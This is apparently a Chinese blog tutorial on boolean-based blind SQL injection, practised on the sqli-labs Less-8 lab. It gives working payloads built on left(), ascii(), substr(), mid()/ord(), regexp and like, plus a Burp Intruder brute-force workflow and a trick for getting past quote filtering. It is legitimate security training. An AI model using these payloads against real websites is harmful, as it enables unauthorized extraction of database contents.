3.1 SQL盲注- 布尔盲注

简介:文章分为三部分:1、概要;2、详细的思维导图;3、详细的解说。

描述:概要包括该文介绍的知识点;详细的思维导图更好地理清思路,方便记忆,但对于有些对于作者比较基础的内容不会有详细的解释,建议主动了解;详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。

前面的话:操作学习的环境----Linux环境+docker+sqli-labs。环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建或私信我亲测有效的资源给你。

Tips:这些都是作者学习过的内容,文字、思维导图等都是一双手,后续会连载这系列以及丰富流程说明,欢迎沟通交流、留言,觉得必要的也可收藏关注

1、概要:

3.1 SQL盲注- 布尔盲注
    布尔盲注原理
    布尔盲注方法
        1、left()
        2、regexp
        3、like()
        4、substr()与ascii()
        5、mid()与ord()

 

2、详细的思维导图:

3、详细的解说:

3.1 SQL盲注- 布尔盲注
    布尔盲注原理

        代码存在SQL注入漏洞然而页面即不会回显数据,也不会回显错误信息只返回“Right”与“Wrong"
        这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确,这既是布尔盲注!
    布尔盲注方法(拿SQLi-labs的Less-8做实操演示,推荐第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建
        1、left()
            语法:left(database(),1)>'s'
            解释:database()显示数据库名称,left(a,b)从左侧截取a的前b位

?id=1--返回正常

?id=1'--估计存在漏洞

?id=1' and 1=1--+

?id=1' and 1=2--+

两次返回结果页面不一致,估计是注入没得跑了,页面无数据返回,只有‘真’和‘假’,典型的布尔注入

?id=1' and left((database()),1)='s'--+

这里其实我们知道databse()为"security",左边第一位等于‘s’,显然是对的,返回正确页面;那么平时我们不知道,我们可以使用burpsuite爆破

截取数据,发送到intruder

清除插件默认选定

选中s,点击add

 

明显字符为s时,返回的长度信息不一样,可以确定database()--s开头

继续,截取左边长度2个字符,已知的s放前面,第二位我们随便设一个值,这里我用x

明显字符为s时,返回的长度信息不一样,可以确定database()--se开头,依此类推即可获取数据值。

Tips:我们语句中:?id=1' and left((database()),1)='s'--+;包含单引号',有时会被过滤,导致出错。

          可修改语句为:?id=1' and ascii(left((database()),1))=97--+;即把字符转换为ascii值


        2、regexp
            语法:select user() regexp '^r'
            解释:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式


        3、like()
            语法:select user() like 'ro%'
            解释:与regexp类似,使用like匹配


        4、strsub()与ascii()
            语法:ascii(substr((select database()),1,1))=98
            解释: substr(a,b,c)从b的位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值(48-122)


       5、 mid()与ord()
            语法:ord(mid((select user()),1,1))=114
            解释:mid(a,b,c)从位置b开始,截取a字符串的c位,ord()函数通ascii(),将字符转换为ascii值

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值